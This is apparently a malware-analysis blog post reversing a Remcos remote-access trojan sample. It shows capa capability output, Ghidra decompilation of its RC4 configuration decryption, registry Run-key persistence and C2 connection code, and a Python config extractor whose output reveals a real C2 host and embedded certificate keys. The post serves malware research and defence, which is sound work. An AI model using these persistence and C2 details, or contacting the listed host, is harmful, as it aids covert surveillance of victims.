gemesa@home:~$

Reversing a Remcos remote administration tool variant

Table of contents

Introduction

Remcos (Remote Control and Surveillance) is a commercial remote administration tool sold by BreakingSecurity. While marketed as a legitimate tool, it has become widely abused in malicious campaigns.

In this post, we will analyze a Remcos sample from MalwareBazaar using Ghidra and Python. The primary goal is to reverse engineer the configuration encryption and build a Python config extractor. While we document some key features (persistence, keylogging etc.) encountered during analysis, a comprehensive feature catalog is not the main objective. BreakingSecurity already documents the capabilities on their website.

Executive summary

This Remcos 4.2.0 Pro sample is an x86 PE executable with RC4-encrypted configuration stored in a PE resource named SETTINGS. The config contains C2 servers, persistence settings and feature flags for keylogging, screenshots and audio recording. Persistence is achieved via registry keys (HKCU/HKLM). The malware disables UAC by modifying EnableLUA in the registry and uses a mutex (Rmc-XXXXXX) to prevent multiple instances. C2 communication can be TLS-encrypted with embedded certificates.

Detailed analysis

Let’s shorten the binary name first so it is easier to work with in the following chapters.

$ mv 94a4e5c7a3524175c0306c5748c719a940a7bfbe778c5a16627193a684fa10f0 remcos.exe

Hashes

$ md5sum < remcos.exe
23fd189553e4730f972c2f5110820080  -

$ sha1sum < remcos.exe
15b7a27f00cde9d7a5044ced7578a574fde0bc7b  -

$ sha256sum < remcos.exe
94a4e5c7a3524175c0306c5748c719a940a7bfbe778c5a16627193a684fa10f0  -

Overview

It is an x86 PE executable:

$ file remcos.exe
remcos.exe: PE32 executable (GUI) Intel 80386, for MS Windows
The version is 4.2.0 (20 December 2022). Currently, the latest version is [v7.1.0 13 November 2025](https://breakingsecurity.net/remcos/changelog/).
$ strings remcos.exe | grep -E '[0-9]+\.[0-9]+\.[0-9]+'
4.2.0 Pro

The capabilities can be listed with capa. This information is also available on breakingsecurity.net.

$ capa remcos.exe                                  
┌───────────┬────────────────────────────────────────────────────────────────────────┐
│ md5       │ 23fd189553e4730f972c2f5110820080                                       │
│ sha1      │ 15b7a27f00cde9d7a5044ced7578a574fde0bc7b                               │
│ sha256    │ 94a4e5c7a3524175c0306c5748c719a940a7bfbe778c5a16627193a684fa10f0       │
│ analysis  │ static                                                                 │
│ os        │ windows                                                                │
│ format    │ pe                                                                     │
│ arch      │ i386                                                                   │
│ path      │ /Users/gemesa/Downloads/remcos.exe                                     │
└───────────┴────────────────────────────────────────────────────────────────────────┘
┏━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ ATT&CK Tactic        ┃ ATT&CK Technique                                            ┃
┡━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┩
│ COLLECTION           │ Audio Capture [T1123]                                       │
│                      │ Clipboard Data [T1115]                                      │
│                      │ Input Capture::Keylogging [T1056.001]                       │
│                      │ Screen Capture [T1113]                                      │
│ CREDENTIAL ACCESS    │ Credentials from Password Stores::Credentials from Web      │
│                      │ Browsers [T1555.003]                                        │
│ DEFENSE EVASION      │ File and Directory Permissions Modification [T1222]         │
│                      │ Hide Artifacts::Hidden Window [T1564.003]                   │
│                      │ Impair Defenses::Disable or Modify Tools [T1562.001]        │
│                      │ Indicator Removal::File Deletion [T1070.004]                │
│                      │ Modify Registry [T1112]                                     │
│                      │ Obfuscated Files or Information [T1027]                     │
│                      │ Process Injection::Process Hollowing [T1055.012]            │
│                      │ Reflective Code Loading [T1620]                             │
│ DISCOVERY            │ Account Discovery [T1087]                                   │
│                      │ Application Window Discovery [T1010]                        │
│                      │ File and Directory Discovery [T1083]                        │
│                      │ Process Discovery [T1057]                                   │
│                      │ Query Registry [T1012]                                      │
│                      │ Software Discovery [T1518]                                  │
│                      │ System Information Discovery [T1082]                        │
│                      │ System Location Discovery [T1614]                           │
│                      │ System Location Discovery::System Language Discovery        │
│                      │ [T1614.001]                                                 │
│                      │ System Owner/User Discovery [T1033]                         │
│                      │ System Service Discovery [T1007]                            │
│ EXECUTION            │ Command and Scripting Interpreter::Windows Command Shell    │
│                      │ [T1059.003]                                                 │
│                      │ Shared Modules [T1129]                                      │
│                      │ System Services::Service Execution [T1569.002]              │
│ IMPACT               │ Service Stop [T1489]                                        │
│                      │ System Shutdown/Reboot [T1529]                              │
│ PERSISTENCE          │ Boot or Logon Autostart Execution::Registry Run Keys /      │
│                      │ Startup Folder [T1547.001]                                  │
│                      │ Create or Modify System Process::Windows Service            │
│                      │ [T1543.003]                                                 │
│ PRIVILEGE ESCALATION │ Access Token Manipulation [T1134]                           │
└──────────────────────┴─────────────────────────────────────────────────────────────┘
┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ MAEC Category                                        ┃ MAEC Value                  ┃
┡━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┩
│ malware-category                                     │ launcher                    │
└──────────────────────────────────────────────────────┴─────────────────────────────┘
┏━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ MBC Objective            ┃ MBC Behavior                                            ┃
┡━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┩
│ ANTI-BEHAVIORAL ANALYSIS │ Debugger Detection::Software Breakpoints [B0001.025]    │
│ COLLECTION               │ Keylogging::Application Hook [F0002.001]                │
│                          │ Keylogging::Polling [F0002.002]                         │
│                          │ Screen Capture::WinAPI [E1113.m01]                      │
│ COMMAND AND CONTROL      │ C2 Communication::Receive Data [B0030.002]              │
│                          │ C2 Communication::Send Data [B0030.001]                 │
│ COMMUNICATION            │ DNS Communication::Resolve [C0011.001]                  │
│                          │ HTTP Communication::Create Request [C0002.012]          │
│                          │ HTTP Communication::Download URL [C0002.006]            │
│                          │ HTTP Communication::Get Response [C0002.017]            │
│                          │ HTTP Communication::Open URL [C0002.004]                │
│                          │ Interprocess Communication::Create Pipe [C0003.001]     │
│                          │ Interprocess Communication::Read Pipe [C0003.003]       │
│                          │ Interprocess Communication::Write Pipe [C0003.004]      │
│                          │ Socket Communication::Initialize Winsock Library        │
│                          │ [C0001.009]                                             │
│                          │ Socket Communication::Receive Data [C0001.006]          │
│                          │ Socket Communication::Send Data [C0001.007]             │
│ CRYPTOGRAPHY             │ Cryptographic Hash::SHA256 [C0029.003]                  │
│                          │ Encrypt Data::AES [C0027.001]                           │
│                          │ Encrypt Data::RC4 [C0027.009]                           │
│                          │ Encryption Key::RC4 KSA [C0028.002]                     │
│                          │ Generate Pseudo-random Sequence::RC4 PRGA [C0021.004]   │
│                          │ Generate Pseudo-random Sequence::Use API [C0021.003]    │
│                          │ Hashed Message Authentication Code [C0061]              │
│ DATA                     │ Encode Data::Base64 [C0026.001]                         │
│                          │ Encode Data::XOR [C0026.002]                            │
│ DEFENSE EVASION          │ Disable or Evade Security Tools [F0004]                 │
│                          │ Obfuscated Files or Information::Encoding-Standard      │
│                          │ Algorithm [E1027.m02]                                   │
│                          │ Obfuscated Files or Information::Encryption-Standard    │
│                          │ Algorithm [E1027.m05]                                   │
│                          │ Self Deletion::COMSPEC Environment Variable [F0007.001] │
│ DISCOVERY                │ Application Window Discovery [E1010]                    │
│                          │ Code Discovery::Enumerate PE Sections [B0046.001]       │
│                          │ File and Directory Discovery [E1083]                    │
│                          │ System Information Discovery [E1082]                    │
│ FILE SYSTEM              │ Copy File [C0045]                                       │
│                          │ Create Directory [C0046]                                │
│                          │ Delete Directory [C0048]                                │
│                          │ Delete File [C0047]                                     │
│                          │ Get File Attributes [C0049]                             │
│                          │ Move File [C0063]                                       │
│                          │ Read File [C0051]                                       │
│                          │ Set File Attributes [C0050]                             │
│                          │ Writes File [C0052]                                     │
│ IMPACT                   │ Clipboard Modification [E1510]                          │
│                          │ Remote Access::Reverse Shell [B0022.001]                │
│ OPERATING SYSTEM         │ Environment Variable::Set Variable [C0034.001]          │
│                          │ Registry::Delete Registry Key [C0036.002]               │
│                          │ Registry::Delete Registry Value [C0036.007]             │
│                          │ Registry::Query Registry Key [C0036.005]                │
│                          │ Registry::Query Registry Value [C0036.006]              │
│                          │ Registry::Set Registry Key [C0036.001]                  │
│                          │ Wallpaper [C0035]                                       │
│ PERSISTENCE              │ Registry Run Keys / Startup Folder [F0012]              │
│ PROCESS                  │ Check Mutex [C0043]                                     │
│                          │ Create Mutex [C0042]                                    │
│                          │ Create Process [C0017]                                  │
│                          │ Create Process::Create Suspended Process [C0017.003]    │
│                          │ Create Thread [C0038]                                   │
│                          │ Resume Thread [C0054]                                   │
│                          │ Terminate Process [C0018]                               │
│                          │ Terminate Thread [C0039]                                │
└──────────────────────────┴─────────────────────────────────────────────────────────┘
┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ Capability                              ┃ Namespace                                ┃
┡━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┩
│ check for software breakpoints          │ anti-analysis/anti-debugging/debugger-d… │
│ self delete                             │ anti-analysis/anti-forensic/self-deleti… │
│ get geographical location               │ collection                               │
│ gather firefox profile information (2   │ collection/browser                       │
│ matches)                                │                                          │
│ log keystrokes via application hook     │ collection/keylog                        │
│ log keystrokes via polling (3 matches)  │ collection/keylog                        │
│ capture microphone audio (4 matches)    │ collection/microphone                    │
│ capture screenshot                      │ collection/screenshot                    │
│ receive data (7 matches)                │ communication                            │
│ send data (2 matches)                   │ communication                            │
│ create reverse shell (3 matches)        │ communication/c2/shell                   │
│ execute shell command and capture       │ communication/c2/shell                   │
│ output                                  │                                          │
│ resolve DNS                             │ communication/dns                        │
│ create HTTP request                     │ communication/http/client                │
│ create two anonymous pipes              │ communication/named-pipe/create          │
│ connect socket                          │ communication/socket                     │
│ initialize Winsock library              │ communication/socket                     │
│ encode data using Base64                │ data-manipulation/encoding/base64        │
│ encode data using XOR (16 matches)      │ data-manipulation/encoding/xor           │
│ encrypt data using AES (3 matches)      │ data-manipulation/encryption/aes         │
│ reference AES constants                 │ data-manipulation/encryption/aes         │
│ encrypt data using OpenSSL ECDSA        │ data-manipulation/encryption/ecdsa       │
│ encrypt data using RC4 KSA              │ data-manipulation/encryption/rc4         │
│ encrypt data using RC4 PRGA             │ data-manipulation/encryption/rc4         │
│ hash data using SHA256 (2 matches)      │ data-manipulation/hashing/sha256         │
│ authenticate HMAC                       │ data-manipulation/hmac                   │
│ generate random numbers via WinAPI      │ data-manipulation/prng                   │
│ contain a thread local storage (.tls)   │ executable/pe/section/tls                │
│ section                                 │                                          │
│ extract resource via kernel32 functions │ executable/resource                      │
│ read clipboard data (5 matches)         │ host-interaction/clipboard               │
│ write clipboard data (2 matches)        │ host-interaction/clipboard               │
│ query environment variable              │ host-interaction/environment-variable    │
│ set environment variable (2 matches)    │ host-interaction/environment-variable    │
│ get common file path (2 matches)        │ host-interaction/file-system             │
│ copy file                               │ host-interaction/file-system/copy        │
│ create directory (5 matches)            │ host-interaction/file-system/create      │
│ delete directory (3 matches)            │ host-interaction/file-system/delete      │
│ delete file (14 matches)                │ host-interaction/file-system/delete      │
│ check if file exists (16 matches)       │ host-interaction/file-system/exists      │
│ enumerate files recursively (3 matches) │ host-interaction/file-system/files/list  │
│ get file attributes (2 matches)         │ host-interaction/file-system/meta        │
│ get file size (4 matches)               │ host-interaction/file-system/meta        │
│ set file attributes (10 matches)        │ host-interaction/file-system/meta        │
│ move file (2 matches)                   │ host-interaction/file-system/move        │
│ read file on Windows (4 matches)        │ host-interaction/file-system/read        │
│ write file on Windows (6 matches)       │ host-interaction/file-system/write       │
│ enumerate gui resources                 │ host-interaction/gui                     │
│ change the wallpaper                    │ host-interaction/gui/session             │
│ get graphical window text (4 matches)   │ host-interaction/gui/window/get-text     │
│ hide graphical window (4 matches)       │ host-interaction/gui/window/hide         │
│ get keyboard layout (2 matches)         │ host-interaction/hardware/keyboard       │
│ get disk information (2 matches)        │ host-interaction/hardware/storage        │
│ check mutex and terminate process on    │ host-interaction/mutex                   │
│ Windows                                 │                                          │
│ shutdown system (2 matches)             │ host-interaction/os                      │
│ get system information on Windows       │ host-interaction/os/info                 │
│ create process on Windows (17 matches)  │ host-interaction/process/create          │
│ use process replacement                 │ host-interaction/process/inject          │
│ enumerate processes (2 matches)         │ host-interaction/process/list            │
│ modify access privileges                │ host-interaction/process/modify          │
│ query or enumerate registry key (2      │ host-interaction/registry                │
│ matches)                                │                                          │
│ query or enumerate registry value (7    │ host-interaction/registry                │
│ matches)                                │                                          │
│ delete registry key (2 matches)         │ host-interaction/registry/delete         │
│ delete registry value                   │ host-interaction/registry/delete         │
│ continue service                        │ host-interaction/service                 │
│ pause service                           │ host-interaction/service                 │
│ query service status                    │ host-interaction/service                 │
│ enumerate services                      │ host-interaction/service/list            │
│ modify service                          │ host-interaction/service/modify          │
│ start service (2 matches)               │ host-interaction/service/start           │
│ stop service (2 matches)                │ host-interaction/service/stop            │
│ get session user name                   │ host-interaction/session                 │
│ get installed programs                  │ host-interaction/software                │
│ create thread (21 matches)              │ host-interaction/thread/create           │
│ terminate thread (2 matches)            │ host-interaction/thread/terminate        │
│ disable system features via registry on │ impact/features                          │
│ Windows                                 │                                          │
│ link function at runtime on Windows (35 │ linking/runtime-linking                  │
│ matches)                                │                                          │
│ link many functions at runtime          │ linking/runtime-linking                  │
│ linked against CPP standard library     │ linking/static                           │
│ enumerate PE sections                   │ load-code/pe                             │
│ parse PE header (2 matches)             │ load-code/pe                             │
│ resolve function by parsing PE exports  │ load-code/pe                             │
│ (6 matches)                             │                                          │
│ persist via Run registry key (3         │ persistence/registry/run                 │
│ matches)                                │                                          │
└─────────────────────────────────────────┴──────────────────────────────────────────┘

Ghidra

capa helped us to understand the capabilities of Remcos. Now we will use Ghidra to understand the encrypted configuration.

Note: some variables and functions in the following snippets have been renamed manually for better readability (e.g. FUN_004199a9 –> FUN_004199a9_load_settings_resource).

After looking through the decompiled code, we can identify a function that loads a resource named SETTINGS. This stored the configuration we are looking for.

void __fastcall FUN_004199a9_load_settings_resource(undefined4 *param_1)

{
  HRSRC hResInfo;
  HGLOBAL hResData;
  LPVOID pvVar1;
  
  hResInfo = FindResourceA(DAT_0046fd10,"SETTINGS",(LPCSTR)0xa);
  if (hResInfo != (HRSRC)0x0) {
    hResData = LoadResource(DAT_0046fd10,hResInfo);
    pvVar1 = LockResource(hResData);
    SizeofResource(DAT_0046fd10,hResInfo);
    *param_1 = pvVar1;
  }
  return;
}

If we follow FUN_004199a9_load_settings_resource, we can see that it is called by FUN_0040e4a3_decrypt_config, which loads the SETTINGS PE resource, reads the first byte as key length, extracts the RC4 key, then RC4-decrypts the remaining bytes.

void * FUN_0040e4a3_decrypt_config(void)

{
  byte *pbVar1;
  int iVar2;
  uint *key;
  void *pvVar3;
  uint *_Memory;
  uint key_len;
  byte *resource_data;
  size_t local_420;
  uint uStack_41c;
  void *apvStack_418 [7];
  undefined1 auStack_3fc [1020];
  
  resource_data = (byte *)0x0;
  iVar2 = FUN_004199a9_load_settings_resource(&resource_data);
  pbVar1 = resource_data;
  key_len = (uint)*resource_data;
  key = (uint *)FUN_00439f40_malloc(key_len);
  FUN_00434b30_memcpy(key,(uint *)(pbVar1 + 1),key_len);
  pvVar3 = FUN_00402097(apvStack_418,key,key_len);
  FUN_00401fc2(&DAT_00472250,pvVar3);
  FUN_00401fb8(apvStack_418);
  local_420 = iVar2 + (-1 - key_len);
  _Memory = (uint *)FUN_00439f40_malloc(local_420);
  FUN_00434b30_memcpy(_Memory,(uint *)(pbVar1 + key_len + 1),uStack_41c);
  FUN_0040632b_rc4_init(auStack_3fc,(int)key,key_len);
  FUN_0040644c_rc4_decrypt(auStack_3fc,apvStack_418[0],_Memory,uStack_41c);
  FID_conflict:_free(_Memory);
  return apvStack_418[0];
}

The RC4 functions have been identified via capa but they can be identified manually as well by comparing the implementation to the algorithm available online.

$ capa remcos.exe -vv | grep -i rc4 -A 20
encrypt data using RC4 KSA
namespace  data-manipulation/encryption/rc4                                           
author     moritz.raabe@mandiant.com                                                  
scope      function                                                                   
att&ck     Defense Evasion::Obfuscated Files or Information [T1027]                   
mbc        Cryptography::Encrypt Data::RC4 [C0027.009], Cryptography::Encryption      
           Key::RC4 KSA [C0028.002]                                                   
function @ 0x406341
...

encrypt data using RC4 PRGA
namespace  data-manipulation/encryption/rc4                                           
author     moritz.raabe@mandiant.com                                                  
scope      function                                                                   
att&ck     Defense Evasion::Obfuscated Files or Information [T1027]                   
mbc        Cryptography::Encrypt Data::RC4 [C0027.009], Cryptography::Generate        
           Pseudo-random Sequence::RC4 PRGA [C0021.004]                               
function @ 0x4063B0
...

This is enough information to implement a very basic proof-of-concept config extractor.

import sys
import pefile
from Crypto.Cipher import ARC4

pe = pefile.PE(sys.argv[1])

for entry in pe.DIRECTORY_ENTRY_RESOURCE.entries:
    if hasattr(entry, 'directory'):
        for rt in entry.directory.entries:
            if rt.name and rt.name.string == b"SETTINGS":
                for rl in rt.directory.entries:
                    rva = rl.data.struct.OffsetToData
                    size = rl.data.struct.Size
                    data = pe.get_memory_mapped_image()[rva:rva + size]

                    key_len = data[0]
                    key = data[1:1 + key_len]
                    encrypted = data[1 + key_len:]

                    decrypted = ARC4.new(key).decrypt(encrypted)

                    print(f"RC4 key: {key.hex()}\n")
                    print(decrypted.decode("utf-8", errors="replace"))
                    print(f"\nHex:\n{decrypted.hex()}")

Based on the output, it is working fine. We can immediately recognize some config values (such as the C2 server gdyhjjdhbvxgsfe.gotdns.ch) and the delimiters (||). Upon inspecting the delimiters more closely in hex, we can see that they are the following sequence: 7c1e1e1f7c or |RSRSUS| where RS is record separator and US is unit separator (https://www.ascii-code.com/). It looks like some binary data is stored in the last fields of the configuration also.

$ python3 remcos_config_extractor_raw.py remcos.exe
RC4 key: fad403be43253637efc7f1c063030e9f19ec31e61bb0d1c5a19f4873dd09a6c521f426c3e33f46b969b001a5f706a7fae116470ddf7bb5b973789a094eed17e202abe418656c09547b3b75c1ca263f646e702f864ba1e3b43a33c91b0fb79758c8ad1ff85b69904bd8c58f36e77eba36da6b6cbac1fa

gdyhjjdhbvxgsfe.gotdns.ch:2718:1||RemoteHost||1||||||||1||||||8||remcos.exe||Remcos||||0||Rmc-JQX1JF||1||6||logs.dat||||||||10||||||5||6||Screenshots||||||||||||||||||||5||||MicRecords||||0||0||||||||0||||1||Remcos||||||||D75EA3DE2AD117E4485816EF2A4A46F1||||0||||0��0���5�`��@󴷵�'���0
*�H�=00"19700101000000Z20901231000000Z00Y0*�H�*�H�=B���3��)>n{X�v=ธ���\N!�1�^3r��E�j)P`��ÙBq^�˙�it���y�K0
*�H�=H0E e7U�yx*�N%�bO��(B�p]{X�!�hb��B���u��|�3��d��3��`�=6Y:||0w �`	���Jv�v=�eL�k�΃�o���5��_�
*�H�=�DB���3��)>n{X�v=ธ���\N!�1�^3r��E�j)P`��ÙBq^�˙�it���y�K||0��0���2	�`�]
                                                                            �[<g�a`0
*�H�=00"19700101000000Z20901231000000Z00Y0*�H�*�H�=B�ca	qk�7���������a�u�;�	~}����bT֓��*Q��*D,U{H�YZ�0
*�H�=G0D `<��,��{����i���M�
                           �0��\X _��w��
                                        T��T�(cu���1��&�5�@Q||

Hex:
676479686a6a6468627678677366652e676f74646e732e63683a323731383a311e7c1e1e1f7c52656d6f7465486f73747c1e1e1f7c317c1e1e1f7c007c1e1e1f7c017c1e1e1f7c017c1e1e1f7c317c1e1e1f7c7c1e1e1f7c007c1e1e1f7c387c1e1e1f7c720065006d0063006f0073002e0065007800650000007c1e1e1f7c520065006d0063006f00730000007c1e1e1f7c007c1e1e1f7c307c1e1e1f7c526d632d4a5158314a467c1e1e1f7c317c1e1e1f7c367c1e1e1f7c6c006f00670073002e0064006100740000007c1e1e1f7c017c1e1e1f7c017c1e1e1f7c007c1e1e1f7c31307c1e1e1f7c007c1e1e1f7c00007c1e1e1f7c357c1e1e1f7c367c1e1e1f7c53637265656e73686f74737c1e1e1f7c007c1e1e1f7c007c1e1e1f7c007c1e1e1f7c007c1e1e1f7c007c1e1e1f7c007c1e1e1f7c007c1e1e1f7c007c1e1e1f7c007c1e1e1f7c357c1e1e1f7c057c1e1e1f7c4d69635265636f7264737c1e1e1f7c007c1e1e1f7c307c1e1e1f7c307c1e1e1f7c00007c1e1e1f7c007c1e1e1f7c017c1e1e1f7c307c1e1e1f7c007c1e1e1f7c317c1e1e1f7c520065006d0063006f00730000007c1e1e1f7c00007c1e1e1f7c007c1e1e1f7c007c1e1e1f7c44373545413344453241443131374534343835383136454632413441343646317c1e1e1f7c007c1e1e1f7c307c1e1e1f7c007c1e1e1f7c3081ff3081a6a003020102021035fd60e6f340f3b4b7b5cd2702e0e6d9300a06082a8648ce3d04030230003022180f31393730303130313030303030305a180f32303930313233313030303030305a30003059301306072a8648ce3d020106082a8648ce3d030107034200049fb3b60233c6c6293e156e7b58bd763de0b898d9fdf2b3ac5c4e21f831a55e3372eecf45d36a295060ebfdc39942715ece1bcb99ed69697402a7e81ae879b14b300a06082a8648ce3d04030203480030450220653755a5087908f9ee959079782ad84e25b5624fbf8928429b705d050f7b58de0221008c0768629504cb42d5dadb758f13917cfa33ab9a64efed33b4c860903d36593a7c1e1e1f7c30770201010420b0601509acb7b34a7681763dc1654cb46bd7ce83c21f6fbe93fa35aceb8c1c5fa00a06082a8648ce3d030107a144034200049fb3b60233c6c6293e156e7b58bd763de0b898d9fdf2b3ac5c4e21f831a55e3372eecf45d36a295060ebfdc39942715ece1bcb99ed69697402a7e81ae879b14b7c1e1e1f7c3081fe3081a6a003020102021032099a608e5d1b680cbb5b3c67d86160300a06082a8648ce3d04030230003022180f31393730303130313030303030305a180f32303930313233313030303030305a30003059301306072a8648ce3d020106082a8648ce3d0301070342000487631e61091113716baf37eff2bf8ec2dd1ea4ebb4f8a3c51461d4758c3b02b809017e7dd918eedbc71f6254d693f91c882a51abe22a1f442c557b4881595ae3300a06082a8648ce3d04030203470030440220603c0fa41c872cdcd07bf382e2a7fdd369a9fdb74da10cfe30a7a1065c4408580220055ff89f771df2c30b54bdd554c028637513a4dfca31c8e0a026c71d35e140517c1e1e1f7c

Config fields

If we want to make sense of the individual config fields, we need to understand the context they are used in.

First, we need to figure out where the parsed/processed config is stored.

undefined4 FUN_0040db10_main_init(undefined4 param_1,undefined4 param_2,char *param_3)

{
...
  FUN_0040e4a3_decrypt_config();
...
  puVar4 = FUN_0041a2c7_parse_config(local_2f0);
  FUN_0040ec83_copy_config_to_DAT_00472004((undefined *)puVar4);

We do not discuss how the config is parsed. It is enough to know that it is stored as an array in DAT_00472004 (which we renamed to DAT_00472004_cfg). The elements can be accesses via FUN_00401e45_config_get_item, for example FUN_00401e45_config_get_item(&DAT_00472004_cfg,3) reads the 3. element (zero-indexed).

There are many options in the settings but we will not explore each.

Install

Remcos can be configured to install itself to a specified folder with a custom filename.

undefined4 FUN_0040db10_main_init(undefined4 param_1,undefined4 param_2,char *param_3)

{
...
                    /* index 3 = install mode enabled */
  iVar5 = FUN_00401e45_config_get_item(&DAT_00472004_cfg,3);
  pcVar6 = (char *)FUN_00402226_str_get_data(iVar5);
  pcVar23 = "\\";
  DAT_0046fb02 = *pcVar6 != '\0';
...
      if (DAT_0046fb02 == '\0') {
...
      }
      else {
...
                    /* index 9 = install folder id */
        iVar5 = FUN_00401e45_config_get_item(&DAT_00472004_cfg,9);
        pcVar6 = (char *)FUN_00402226_str_get_data(iVar5);
        cVar19 = cVar19 != '\0';
        cVar20 = cVar20 != '\0';
                    /* index 10 = install filename */
        iVar5 = FUN_00401e45_config_get_item(&DAT_00472004_cfg,10);
        pwVar11 = (wchar_t *)FUN_00402226_str_get_data(iVar5);
                    /* index 0x30 = install folder */
        iVar5 = FUN_00401e45_config_get_item(&DAT_00472004_cfg,0x30);
        pwVar14 = (wchar_t *)FUN_00402226_str_get_data(iVar5);
        FUN_0040be45_copy_and_persist(*pcVar6,pwVar14,pwVar11,cVar20,cVar19);
      }

FUN_0040be45_copy_and_persist copies the executable, sets up persistence (see next chapter), launches the new copy via VBS, deletes the original and exits.

Registry-based persistence

Multiple registry-based persistence mechanisms are supported:

  • DAT_0046fb03: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
  • DAT_0046fb00: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
  • DAT_0046fb01: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
undefined4 FUN_0040db10_main_init(undefined4 param_1,undefined4 param_2,char *param_3)

{
...
                    /* index 4 = HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run */
    iVar5 = FUN_00401e45_config_get_item(&DAT_00472004_cfg,4);
    pcVar6 = (char *)FUN_00402226_str_get_data(iVar5);
    DAT_0046fb03 = *pcVar6 != '\0';
                    /* index 5 = HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run */
    iVar5 = FUN_00401e45_config_get_item(&DAT_00472004_cfg,5);
    pcVar6 = (char *)FUN_00402226_str_get_data(iVar5);
    DAT_0046fb00 = *pcVar6 != '\0';
                    /* index 8 =
                       HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explore r\Run
                        */
    iVar5 = FUN_00401e45_config_get_item(&DAT_00472004_cfg,8);
    pcVar6 = (char *)thunk_FUN_00402226(iVar5);
    DAT_0046fb01 = *pcVar6 != '\0';

Call graph:

FUN_0040db10_main_init
  FUN_0040be45_copy_and_persist
    FUN_0040bd53_write_run_registry

winreg.h:

#define HKEY_CURRENT_USER                   (( HKEY ) (ULONG_PTR)((LONG)0x80000001) )
#define HKEY_LOCAL_MACHINE                  (( HKEY ) (ULONG_PTR)((LONG)0x80000002) )
void __cdecl FUN_0040bd53_write_run_registry(undefined4 param_1,LPCWSTR param_2)

{
  char cVar1;
  char cVar2;
  void *pvVar3;
  wchar_t *pwVar4;
  undefined1 auStack_50 [24];
  undefined4 uStack_38;
  undefined1 local_1c [28];
  
  cVar2 = DAT_0046fb01;
  cVar1 = DAT_0046fb00;
  if (DAT_0046fb03 == '\x01') {
    uStack_38 = 1;
    pwVar4 = L"\"";
    pvVar3 = FUN_0040aa3d(local_1c,L"\"",&DAT_004721f0);
    FUN_00402ff4(auStack_50,pvVar3,pwVar4);
    FUN_00412739((HKEY)&DAT_80000001,L"Software\\Microsoft\\Windows\\CurrentVersion\\Run\\",param_2)
    ;
    uStack_38 = 0x40bdb7;
    FUN_00401ee9(local_1c);
  }
  if (cVar1 == '\x01') {
    uStack_38 = 1;
    pwVar4 = L"\"";
    pvVar3 = FUN_0040aa3d(local_1c,L"\"",&DAT_004721f0);
    FUN_00402ff4(auStack_50,pvVar3,pwVar4);
    FUN_00412739((HKEY)0x80000002,L"Software\\Microsoft\\Windows\\CurrentVersion\\Run\\",param_2);
    uStack_38 = 0x40bdfa;
    FUN_00401ee9(local_1c);
  }
  if (cVar2 == '\x01') {
    uStack_38 = 1;
    pwVar4 = L"\"";
    pvVar3 = FUN_0040aa3d(local_1c,L"\"",&DAT_004721f0);
    FUN_00402ff4(auStack_50,pvVar3,pwVar4);
    FUN_00412739((HKEY)0x80000002,
                 L"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\\",param_2)
    ;
    uStack_38 = 0x40be3d;
    FUN_00401ee9(local_1c);
  }
  return;
}
C2

C2 config format:

host:port:tls

for example:

gdyhjjdhbvxgsfe.gotdns.ch:2718:1
void FUN_00413eb5_c2_connect(void)

{
...
  pvVar4 = (void *)FUN_00401e45_config_get_item(&DAT_00472004_cfg,0);
  FUN_004020d6_copy_to_local(&stack0xfffff5f4,pvVar4);
  FUN_0041a2c7_parse_config(local_4c);
  uVar27 = 0;
...
    pvVar4 = (void *)FUN_00401e45_config_get_item(local_4c,uVar27);
    FUN_004020d6_copy_to_local(&stack0xfffff5f4,pvVar4);
    FUN_0041a2c7_parse_config(local_10);
                    /* index 1 = port */
    pvVar4 = (void *)FUN_00401e45_config_get_item(local_10,1);
...
                    /* index 0 = host */
    pvVar11 = (void *)FUN_00401e45_config_get_item(local_10,0);
...
                    /* index 2 = tls flag */
    pvVar4 = (void *)FUN_00401e45_config_get_item(local_10,2);
    bVar1 = FUN_00405ae5_strs_equals(pvVar4,"0");
    DAT_0046fad4 = !bVar1;
    if ((bool)DAT_0046fad4) {
      pcVar3 = "TLS On ";
    }
    else {
      pcVar3 = "TLS Off";
    }
...
    iVar2 = FUN_00401e45_config_get_item(local_10,1);
    uVar12 = thunk_FUN_00402226(iVar2);
    iVar2 = FUN_00401e45_config_get_item(local_10,0);
    uVar13 = thunk_FUN_00402226(iVar2);
    iVar2 = FUN_00413e74_connect(uVar13,uVar12);
    if (iVar2 == 0) {
      uVar12 = FUN_0040480d(&DAT_004724b0);
      if ((char)uVar12 == '\0') {
        FUN_00402073(&stack0xfffff60c,(uint *)"Connection Error: Unable to create socket");
...

The C2 server can require client certificate authentication:

void FUN_00413eb5_c2_connect(void)

{
...
  pvVar4 = (void *)FUN_00401e45_config_get_item(&DAT_00472004_cfg,0x3a);
  bVar1 = FUN_004102c1_strs_not_equal(pvVar4,"");
  if (bVar1) {
